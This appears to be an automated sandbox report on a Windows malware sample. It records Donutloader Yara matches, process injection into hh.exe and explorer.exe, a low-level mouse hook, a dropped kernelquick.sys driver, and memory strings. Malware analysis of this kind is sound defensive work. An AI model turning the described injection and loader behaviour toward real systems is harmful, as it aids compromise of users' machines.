00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://nydus.battle.net/Bnet/client/purchase/jsutil
Source: zfon.exe, 00000005.00000000.2525776894.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000000.2527059033.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000002.2809331354.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000000.2807948806.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://nydus.battle.net/Pro/
Source: explorer.exe, 0000000B.00000000.2557975463.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000002.2589830986.0000000009BB2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2662236331.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656869082.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669765501.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2665757256.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673852456.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: explorer.exe, 0000000E.00000003.2663848409.0000000008EC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2668179739.0000000008EC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656028707.0000000008ECC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2671733531.0000000008EC8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2658351434.0000000008ECC000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2681947926.0000000008ECA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com
Source: explorer.exe, 0000000B.00000002.2597298593.000000000C460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2568860335.000000000C460000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.comcember
Source: explorer.exe, 0000000E.00000003.3867808677.0000000008E7E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3870691749.0000000008E7E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.3865469179.0000000008E7E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000002.4601406325.0000000008E7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/
Source: explorer.exe, 0000000B.00000002.2589830986.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2557975463.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://wns.windows.com/)s
Source: explorer.exe, 0000000B.00000002.2589830986.00000000099C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000B.00000000.2557975463.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comon
Source: explorer.exe, 0000000E.00000003.2662236331.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2656869082.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2669765501.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2665757256.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000E.00000003.2673852456.0000000008DC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://word.office.comz
Source: zfon.exe, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.battle.net/shop/simplecheckout/debug-harness
Source: zfon.exe, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.battle.net/shop/simplecheckout/error
Source: zfon.exe, 00000005.00000000.2525776894.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000000.2527059033.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000002.2809331354.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000000.2807948806.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.battle.net/shop/simplecheckout/error?error=
Source: zfon.exe, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.battle.net/shop/simplecheckout/loading
Source: zfon.exe, 00000005.00000000.2525776894.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000000.2527059033.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000006.00000002.2606835994.00007FF7F981B000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000000.2806503804.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001A.00000002.2809331354.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000000.2807948806.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001B.00000002.2809299266.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.battle.net/shop/simplecheckout/loadinghttps://www.battle.net/shop/simplecheckout/navbarh
Source: zfon.exe, zfon.exe, 0000001C.00000000.2959614142.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001C.00000002.2961814980.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000002.2961682739.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001D.00000000.2960499282.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000002.3553393851.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001E.00000000.3549567178.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000002.3553394809.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 0000001F.00000000.3551069756.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000000.4164944378.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000022.00000002.4185877613.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000002.4185778715.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp, zfon.exe, 00000023.00000000.4182637611.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://www.battle.net/shop/simplecheckout/navbar
Source: VJQyKuHEUe.exe	String found in binary or memory: https://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714

Source: unknown

HTTPS traffic detected: 3.5.237.31:443 -> 192.168.2.5:49710 version: TLS 1.2

Source: hh.exe, 00000007.00000002.4592875311.000001CDCB890000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: DirectInput8Create

memstr_8fa85bfd-f

Source: C:\Windows\hh.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\DINPUT8.dll

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 6.2.zfon.exe.7ff7f96e0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000000B.00000000.2552109850.0000000003050000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 0000000B.00000002.2582901850.0000000003050000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000005.00000002.2529216553.000001AB8875C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000007.00000002.4591031165.000001CDCB5B0000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000006.00000002.2603939256.000002DC4BD60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000006.00000003.2529019018.000002DC4A449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000006.00000002.2604535605.000002DC4BEE7000.00000008.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F9818AD3 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtUnmapViewOfSection,NtMapViewOfSection,VirtualProtect,VirtualProtect,	6_2_00007FF7F9818AD3
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE42030 NtQueryInformationProcess,_invalid_parameter_noinfo_noreturn,	6_2_000002DC4BE42030
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB5DF9BC NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtUnmapViewOfSection,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,	7_2_000001CDCB5DF9BC
Source: C:\Windows\explorer.exe	Code function: 11_2_03073A07 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtUnmapViewOfSection,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,	11_2_03073A07

Source: C:\Windows\hh.exe

Code function: 7_2_000001CDCB90C340: CreateFileW,DeviceIoControl,DeviceIoControl,DeviceIoControl,DeviceIoControl,

7_2_000001CDCB90C340

Source: C:\Windows\hh.exe

File created: C:\ProgramData\kernelquick.sys

Jump to behavior

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Code function: 0_2_0275E004	0_2_0275E004
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF7F96EA920	5_2_00007FF7F96EA920
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF7F96E79C0	5_2_00007FF7F96E79C0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF7F96EF060	5_2_00007FF7F96EF060
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF7F96E6FC0	5_2_00007FF7F96E6FC0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF7F9702170	5_2_00007FF7F9702170
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF7F970E5C0	5_2_00007FF7F970E5C0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B90E7AA8	5_2_00007FF8B90E7AA8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B9112AE0	5_2_00007FF8B9112AE0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B91132B8	5_2_00007FF8B91132B8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B910816C	5_2_00007FF8B910816C
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B9108950	5_2_00007FF8B9108950
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B90E81D8	5_2_00007FF8B90E81D8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B90F3410	5_2_00007FF8B90F3410
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B90E6C74	5_2_00007FF8B90E6C74
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B91144A0	5_2_00007FF8B91144A0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B911A39E	5_2_00007FF8B911A39E
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B91073E0	5_2_00007FF8B91073E0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B90F4E10	5_2_00007FF8B90F4E10
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B9104608	5_2_00007FF8B9104608
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B9100E30	5_2_00007FF8B9100E30
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B910363C	5_2_00007FF8B910363C
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B911169C	5_2_00007FF8B911169C
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B90F5E80	5_2_00007FF8B90F5E80
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B91016F0	5_2_00007FF8B91016F0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B9100570	5_2_00007FF8B9100570
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B9116580	5_2_00007FF8B9116580
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B90F40E0	5_2_00007FF8B90F40E0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B9101F10	5_2_00007FF8B9101F10
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B9106720	5_2_00007FF8B9106720
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B911A39E	5_2_00007FF8B911A39E
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8B90E5FC8	5_2_00007FF8B90E5FC8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 5_2_00007FF8BFB57CA0	5_2_00007FF8BFB57CA0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F9818AD3	6_2_00007FF7F9818AD3
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F98182C7	6_2_00007FF7F98182C7
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F96EA920	6_2_00007FF7F96EA920
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F96E79C0	6_2_00007FF7F96E79C0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F96EF060	6_2_00007FF7F96EF060
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F96E6FC0	6_2_00007FF7F96E6FC0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F9702170	6_2_00007FF7F9702170
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F98173EB	6_2_00007FF7F98173EB
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F98186A3	6_2_00007FF7F98186A3
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F9751630	6_2_00007FF7F9751630
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F970E5C0	6_2_00007FF7F970E5C0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_00007FF7F9819587	6_2_00007FF7F9819587
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE9E334	6_2_000002DC4BE9E334
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BEAB308	6_2_000002DC4BEAB308
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE86260	6_2_000002DC4BE86260
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE4E1E0	6_2_000002DC4BE4E1E0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE501E0	6_2_000002DC4BE501E0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE9F0E0	6_2_000002DC4BE9F0E0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BEB00A8	6_2_000002DC4BEB00A8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BEAC08C	6_2_000002DC4BEAC08C
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE57FA4	6_2_000002DC4BE57FA4
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BEA96AC	6_2_000002DC4BEA96AC
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE86B40	6_2_000002DC4BE86B40
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BEB5B58	6_2_000002DC4BEB5B58
